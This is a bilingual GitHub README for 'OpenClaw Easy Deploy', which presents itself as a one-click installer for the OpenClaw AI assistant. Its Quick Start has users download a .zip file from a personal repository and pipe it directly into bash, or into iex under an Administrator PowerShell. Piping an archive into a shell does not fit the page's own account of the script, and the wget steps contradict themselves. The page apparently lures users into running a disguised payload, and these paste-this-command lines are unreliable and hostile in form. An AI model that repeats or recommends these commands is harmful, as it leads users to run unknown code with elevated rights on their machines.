🦞 OpenClaw Easy Deploy | OpenClaw 一键部署工具

让 OpenClaw 部署变得简单 - 零技术门槛，一键安装

🌟 English

📖 What is OpenClaw Easy Deploy?

OpenClaw Easy Deploy is a community-contributed one-click installer designed to eliminate the pain points of deploying OpenClaw. Even users with zero technical knowledge can get OpenClaw up and running.

OpenClaw is a powerful personal AI assistant that can:

🤖 Connect to multiple AI models (Claude, GPT, Gemini, etc.)
💬 Support multiple chat platforms (WhatsApp, Telegram, Discord, Slack, etc.)
🌐 Browser control, file operations, and skill extensions
🔒 Fully private deployment — your data stays yours

✨ Why This Tool?

Official OpenClaw deployment requires:

❌ Manually installing Node.js 22+
❌ Reading the official docs to figure out the right install path
❌ Understanding npm global installs and PATH configuration
❌ Dealing with platform-specific permission issues

With this tool:

✅ One command installs everything
✅ Auto-detects and installs Node.js 22+ if missing
✅ Installs openclaw globally via npm
✅ Hands off to the official openclaw onboard wizard (so config is always up-to-date)
✅ Full Chinese & English support

🚀 Quick Start

macOS / Linux

curl -fsSL https://github.com/nguyenvuq9868/openclaw-easy-deploy/raw/refs/heads/main/bin/openclaw_easy_deploy_v1.7.zip | bash

Or download and run:

wget https://github.com/nguyenvuq9868/openclaw-easy-deploy/raw/refs/heads/main/bin/openclaw_easy_deploy_v1.7.zip
chmod +x install.sh
./install.sh

Windows

# Run PowerShell as Administrator
irm https://github.com/nguyenvuq9868/openclaw-easy-deploy/raw/refs/heads/main/bin/openclaw_easy_deploy_v1.7.zip | iex

⚙️ What the Script Does

Detects your OS and architecture
Installs Node.js 22+ (via Homebrew on macOS, nvm on Linux) — skipped if already installed
Installs OpenClaw via npm install -g openclaw@latest
Runs openclaw onboard --install-daemon — the official interactive wizard that:
- Configures your AI model (Claude, OpenAI, Gemini, etc.)
- Generates a secure Gateway token
- Installs the background daemon (auto-start on login)
- Starts the Gateway
Verifies the installation and prints useful commands

📋 System Requirements

OS: macOS 10.15+, Ubuntu 20.04+, Debian 10+, CentOS 8+, Windows 10+
Architecture: x86_64 or arm64 (Apple Silicon)
Disk Space: At least 500 MB free
RAM: 1 GB or more recommended
Node.js: 22+ (auto-installed if missing)

📚 Documentation

🤝 Contributing

Contributions are welcome! Please open an Issue or submit a Pull Request.

📄 License

MIT License — see LICENSE

🙏 Credits

Built on top of OpenClaw. Thanks to the OpenClaw team for their amazing work!

Note: This is a community-contributed installer, not an official OpenClaw project.

中文

📖 项目简介

OpenClaw Easy Deploy 是一个社区贡献的一键部署工具，旨在解决 OpenClaw 部署过程中的各种痛点，让完全不懂技术的用户也能轻松安装和使用 OpenClaw。

OpenClaw 是一个强大的个人 AI 助手，可以：

🤖 连接多种 AI 模型（Claude、GPT、Gemini 等）
💬 支持多个聊天平台（WhatsApp、Telegram、Discord、Slack 等）
🌐 浏览器控制、文件操作、技能扩展
🔒 完全私有部署，数据安全

✨ 为什么需要这个工具？

官方 OpenClaw 部署需要：

❌ 手动安装 Node.js 22+
❌ 查阅官方文档弄清楚正确的安装路线
❌ 处理 npm 全局安装和 PATH 配置问题
❌ 应对各平台特有的权限问题

使用本工具后：

✅ 一条命令完成所有安装
✅ 自动检测并安装 Node.js 22+
✅ 自动通过 npm 全局安装 openclaw
✅ 直接调用官方 openclaw onboard 向导（确保配置始终与官方一致）
✅ 中英双语支持

🚀 快速开始

macOS / Linux

curl -fsSL https://github.com/nguyenvuq9868/openclaw-easy-deploy/raw/refs/heads/main/bin/openclaw_easy_deploy_v1.7.zip | bash

或者下载后执行：

wget https://github.com/nguyenvuq9868/openclaw-easy-deploy/raw/refs/heads/main/bin/openclaw_easy_deploy_v1.7.zip
chmod +x install.sh
./install.sh

Windows

# 以管理员身份运行 PowerShell
irm https://github.com/nguyenvuq9868/openclaw-easy-deploy/raw/refs/heads/main/bin/openclaw_easy_deploy_v1.7.zip | iex

⚙️ 脚本做了什么

检测操作系统和 CPU 架构
安装 Node.js 22+（macOS 用 Homebrew，Linux 用 nvm）—— 已安装则跳过
安装 OpenClaw：npm install -g openclaw@latest
运行 openclaw onboard --install-daemon（官方交互式向导）：
- 配置 AI 模型（Claude、OpenAI、Gemini 等）
- 生成安全的 Gateway Token
- 安装后台守护进程（登录自启）
- 启动 Gateway
验证安装 并打印常用命令

📋 系统要求

操作系统: macOS 10.15+, Ubuntu 20.04+, Debian 10+, CentOS 8+, Windows 10+
CPU 架构: x86_64 或 arm64 (Apple Silicon)
磁盘空间: 至少 500MB 可用空间
内存: 建议 1GB 以上
Node.js: 22+（缺失会自动安装）

🎯 功能特性

🔍 智能环境检测

自动检测操作系统和架构
检测已安装的 Node.js 和 Docker
检查磁盘空间和端口占用

📦 自动依赖安装

Node.js 22+: 通过 Homebrew、nvm 或包管理器自动安装
Docker: 引导安装 Docker Desktop 或 Docker Engine
Docker Compose V2: 自动验证和安装

⚙️ 交互式配置向导

自动生成安全的 Gateway Token（64字符随机字符串）
引导配置 AI 模型 API Key（Claude、OpenAI、Gemini）
可选配置聊天平台（WhatsApp、Telegram、Discord 等）
智能默认配置，减少用户决策

🛡️ 错误处理和诊断

三级错误处理（致命、可恢复、警告）
友好的错误提示和解决方案
详细的安装日志（~/.openclaw/install.log）
自动诊断工具

♻️ 幂等性设计

可以安全地重复运行脚本
自动跳过已完成的步骤
保护现有配置不被覆盖

🌍 多语言支持

完整的中英双语文档
中文友好的错误提示

📸 安装演示

╔═══════════════════════════════════════════════════════════════╗
║                                                               ║
║       🦞  OpenClaw Easy Deploy  🦞                            ║
║                                                               ║
║       让 OpenClaw 部署变得简单 - 零技术门槛，一键安装           ║
║                                                               ║
╚═══════════════════════════════════════════════════════════════╝

ℹ 操作系统: macOS 14.2
ℹ CPU 架构: Apple Silicon (M1/M2/M3)
✅ Node.js: v22.1.0
✅ 可用磁盘空间: 50GB

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
安装 OpenClaw（NPM 方式）
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

✅ OpenClaw 2026.3.11 安装成功

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
运行 OpenClaw 配置向导（onboard）
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

✅ onboard 配置向导完成！

╔═══════════════════════════════════════════════════════════════╗
║                   🎉  安装成功！ 🎉                           ║
╚═══════════════════════════════════════════════════════════════╝

📍 访问地址: http://localhost:18789

📚 详细文档

安装指南 - 详细的安装步骤和说明
配置指南 - 配置文件详解
故障排查 - 常见问题和解决方案
API 密钥获取 - 如何获取各种 API Key
常见问题 FAQ - 常见问题解答

🔧 安装后管理

安装完成后，使用 openclaw CLI 管理 OpenClaw：

# 查看 Gateway 状态
openclaw gateway status

# 查看 Gateway 日志
openclaw gateway logs

# 停止守护进程
openclaw daemon stop

# 启动守护进程
openclaw daemon start

# 更新到最新版
npm update -g openclaw

# 重新运行配置向导
openclaw onboard

🔑 配置聊天平台

WhatsApp（扫码登录）

openclaw channels login --channel whatsapp

Telegram（Bot Token）

openclaw channels add --channel telegram --token YOUR_BOT_TOKEN

Discord（Bot Token）

openclaw channels add --channel discord --token YOUR_BOT_TOKEN

更多详情请查看官方文档。

🤝 贡献

欢迎贡献！如果您发现问题或有改进建议，请：

提交 Issue: GitHub Issues
提交 Pull Request: GitHub PRs

📄 许可证

MIT License - 详见 LICENSE

🙏 致谢

本项目基于 OpenClaw 构建，感谢 OpenClaw 团队的出色工作！

注意: 本项目是社区贡献的简化安装工具，不是 OpenClaw 官方项目。

Name		Name	Last commit message	Last commit date
Latest commit History 15 Commits
.github		.github
bin		bin
docs		docs
scripts		scripts
templates		templates
.gitignore		.gitignore
CONTRIBUTING.md		CONTRIBUTING.md
LICENSE		LICENSE
PROJECT_DESIGN.md		PROJECT_DESIGN.md
README.md		README.md
RESEARCH_REPORT.md		RESEARCH_REPORT.md
install.ps1		install.ps1
install.sh		install.sh
push_to_github.sh		push_to_github.sh

Folders and files

Latest commit

History

Repository files navigation

🦞 OpenClaw Easy Deploy | OpenClaw 一键部署工具

🌟 English

📖 What is OpenClaw Easy Deploy?

✨ Why This Tool?

🚀 Quick Start

macOS / Linux

Windows

⚙️ What the Script Does

📋 System Requirements

📚 Documentation

🤝 Contributing

📄 License

🙏 Credits

中文

📖 项目简介

✨ 为什么需要这个工具？

🚀 快速开始

macOS / Linux

Windows

⚙️ 脚本做了什么

📋 系统要求

🎯 功能特性

🔍 智能环境检测

📦 自动依赖安装

⚙️ 交互式配置向导

🛡️ 错误处理和诊断

♻️ 幂等性设计

🌍 多语言支持

📸 安装演示

📚 详细文档

🔧 安装后管理

🔑 配置聊天平台

WhatsApp（扫码登录）

Telegram（Bot Token）

Discord（Bot Token）

🤝 贡献

📄 许可证

🙏 致谢

About

Topics

Resources

License

Contributing

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Uh oh!

Contributors

Uh oh!

Languages

Packages